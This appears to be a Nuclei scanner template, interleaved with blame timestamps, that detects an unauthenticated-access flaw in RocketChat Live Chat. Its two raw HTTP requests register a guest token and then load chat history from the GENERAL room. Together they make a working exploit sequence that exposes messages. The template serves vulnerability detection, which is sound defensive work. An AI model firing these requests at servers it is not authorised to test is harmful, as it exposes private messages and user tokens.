2021-09-19 23:23:22 +00:00
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id: rocketchat-unauth-access
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2021-03-29 11:35:11 +00:00
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2021-03-29 06:42:11 +00:00
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info:
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2022-06-03 19:12:31 +00:00
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name: RocketChat Live Chat - Unauthenticated Read Access
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2021-03-29 06:42:11 +00:00
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author: rojanrijal
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2022-06-03 19:12:31 +00:00
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severity: high
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description: RocketChat Live Chat accepts invalid parameters that could potentially allow unauthenticated access to messages and user tokens.
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2023-10-14 11:27:55 +00:00
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remediation: Fixed in versions 3.11, 3.10.5, 3.9.7, and 3.8.8.
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2022-04-22 10:38:41 +00:00
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reference:
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- https://docs.rocket.chat/guides/security/security-updates
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2022-06-01 11:44:10 +00:00
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- https://securifyinc.com/disclosures/rocketchat-unauthenticated-access-to-messages
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2022-06-03 19:12:31 +00:00
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
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cvss-score: 8.6
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cwe-id: CWE-522
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2023-04-28 08:11:21 +00:00
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metadata:
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max-request: 2
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2023-10-14 11:27:55 +00:00
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tags: rocketchat,unauth
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2023-07-20 07:43:09 +00:00
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variables:
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value: "{{to_lower(rand_text_alpha(5))}}"
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user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"
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2023-10-14 11:27:55 +00:00
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2023-04-27 04:28:59 +00:00
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http:
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2021-03-29 06:42:11 +00:00
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- raw:
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- |
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POST /api/v1/method.callAnon/cve_exploit HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/json
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
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2023-07-20 07:43:09 +00:00
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{"message":"{\"msg\":\"method\",\"method\":\"livechat:registerGuest\",\"params\":[{\"token\":\"{{value}}\",\"name\":\"cve-2020-{{value}}\",\"email\":\"{{user_email}}\"}],\"id\":\"123\"}"}
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2021-03-29 06:42:11 +00:00
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- |
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POST /api/v1/method.callAnon/cve_exploit HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/json
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2023-07-20 07:43:09 +00:00
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{"message":"{\"msg\":\"method\",\"method\":\"livechat:loadHistory\",\"params\":[{\"token\":\"{{value}}\",\"rid\":\"GENERAL\"}],\"msg\":\"123\"}"}
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2021-03-29 06:42:11 +00:00
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matchers-condition: and
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matchers:
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- type: word
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2022-06-01 13:21:48 +00:00
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part: body
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2021-03-29 06:42:11 +00:00
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words:
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2021-03-29 11:35:11 +00:00
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- '"{\"msg\":\"result\",\"result\":{\"messages\"'
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- '"success":true'
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2021-04-11 01:27:51 +00:00
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condition: and
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2022-06-01 13:21:48 +00:00
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- type: status
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status:
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- 200
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2023-10-20 11:41:13 +00:00
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# digest: 4b0a0048304602210095085dc96a7cb508eefb70fb2096b11370550b5fc48bf2778a9fe85c1c1d2726022100e82787c9db9e4546b785b8bd5997137083fc5de11cfbde2b2f1b775a62ef1ce2:922c64590222798bb761d5b6d8e72950
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